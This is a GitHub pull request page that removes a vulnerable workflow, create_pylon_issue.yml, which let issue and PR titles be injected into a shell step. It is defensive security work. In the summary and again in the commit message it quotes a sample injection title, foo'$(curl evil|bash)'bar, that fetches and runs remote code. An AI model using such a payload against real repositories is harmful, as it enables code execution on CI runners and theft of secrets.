Skip to content

security: remove vulnerable create_pylon_issue.yml workflow#2207

Merged
haritamar merged 1 commit intomasterfrom
security/remove-vulnerable-create-pylon-workflow
Apr 25, 2026
Merged

security: remove vulnerable create_pylon_issue.yml workflow#2207
haritamar merged 1 commit intomasterfrom
security/remove-vulnerable-create-pylon-workflow

Conversation

@haritamar
Copy link
Copy Markdown
Collaborator

@haritamar haritamar commented Apr 25, 2026

Summary

  • Deletes .github/workflows/create_pylon_issue.yml. Same script-injection class as update_pylon_issue.yml (removed in security: remove vulnerable update_pylon_issue.yml workflow #2206) — the issue/PR title is interpolated directly into a run: shell block.
  • Two injection points:
    • \"title\": \"\${{ github.event.issue.title }}\", (line 27)
    • \"title\": \"\${{ github.event.pull_request.title }}\", (line 56)
  • The surrounding single-quoted --data '{ ... }' does not protect: a title like foo'\$(curl evil|bash)'bar breaks out of the single-quoted string and triggers command substitution on the runner.

Why the trigger surface is worse than the comment one

  • issues: opened — any GitHub user can fire this just by opening an issue with a poisoned title. No PR, no fork required.
  • pull_request_target: opened — runs in the base repo's context with full access to base secrets against fork-controlled input. Anyone can fork and open a PR with a poisoned title.

Secrets at risk

GITHUB_TOKEN, PYLON_API_KEY, PYLON_ACCOUNT_ID, PYLON_REQUESTER_ID — all interpolated into the same run: block alongside the title, so all reachable from the rendered script on disk.

Why a full delete (not a patch)

Same reasoning as #2206: stop the bleeding now. The auto-create-Pylon-ticket behavior can be reintroduced later with:

  • env-var indirection (env: ISSUE_TITLE: \${{ github.event.issue.title }} + \"\$ISSUE_TITLE\" in the script body, ideally passed to the JSON payload via jq rather than string interpolation), and
  • an author_association gate so untrusted forks/issuers can't trigger sensitive paths.

Audit context

  • close_pylon_issue.yml was reviewed and is not vulnerable — it only interpolates typed/internal values (event_name, repository, issue/PR number); user content is captured into a shell variable and only matched against a UUID regex.
  • A grep across the rest of .github/workflows/ for \${{ github.event.*.{body,title,...} }} in run: blocks turned up no other hits.

Test plan

  • Confirm no other workflow depends on this file.
  • Confirm temporary loss of auto-Pylon-ticket creation is acceptable until a hardened replacement lands.

Summary by CodeRabbit

  • Chores
    • Removed automated GitHub issue and pull request tracking integration.

This workflow interpolates `${{ github.event.issue.title }}` and
`${{ github.event.pull_request.title }}` directly into `run:` shell
steps. The surrounding single quotes around the curl `--data` payload
do not protect against a quote-breakout in the title (e.g.
`foo'$(curl evil|bash)'bar`), giving any GitHub user code execution
on the runner with the workflow's GITHUB_TOKEN, PYLON_API_KEY,
PYLON_ACCOUNT_ID, and PYLON_REQUESTER_ID.

The trigger surface is broad: `issues: opened` lets any user trigger
it by opening an issue, and `pull_request_target: opened` runs in the
base-repo context with access to base secrets against fork-controlled
input.

Removing entirely for now; the auto-create-Pylon-ticket behavior can
be reintroduced later with env-var indirection for user-controlled
fields and an author_association gate.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
@github-actions
Copy link
Copy Markdown
Contributor

👋 @haritamar
Thank you for raising your pull request.
Please make sure to add tests and document all user-facing changes.
You can do this by editing the docs files in this pull request.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented Apr 25, 2026

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: aeb7925a-4dea-4008-91e0-96cd721045c8

📥 Commits

Reviewing files that changed from the base of the PR and between edd283c and 3e18953.

📒 Files selected for processing (1)
  • .github/workflows/create_pylon_issue.yml
💤 Files with no reviewable changes (1)
  • .github/workflows/create_pylon_issue.yml

📝 Walkthrough

Walkthrough

A GitHub Actions workflow file that automated Pylon issue creation for GitHub issues and pull requests has been deleted. The workflow previously integrated with the Pylon API to generate tickets and embed ticket identifiers in issue/PR bodies.

Changes

Cohort / File(s) Summary
Workflow Removal
.github/workflows/create_pylon_issue.yml
Deleted GitHub Actions workflow that automated Pylon issue creation and ticket linking for GitHub issues and pull requests.

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~2 minutes

Poem

🐰 A workflow once danced in the CI/CD night,
Creating Pylon tickets with Herculean might,
But now it hops off, retired with grace,
Leaving the GitHub Actions space. ✨

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and specifically summarizes the main change: removing a vulnerable workflow file due to security concerns.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch security/remove-vulnerable-create-pylon-workflow

Comment @coderabbitai help to get the list of available commands and usage tips.

@haritamar haritamar merged commit 2d3544a into master Apr 25, 2026
11 of 25 checks passed
@haritamar haritamar deleted the security/remove-vulnerable-create-pylon-workflow branch April 25, 2026 11:20
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant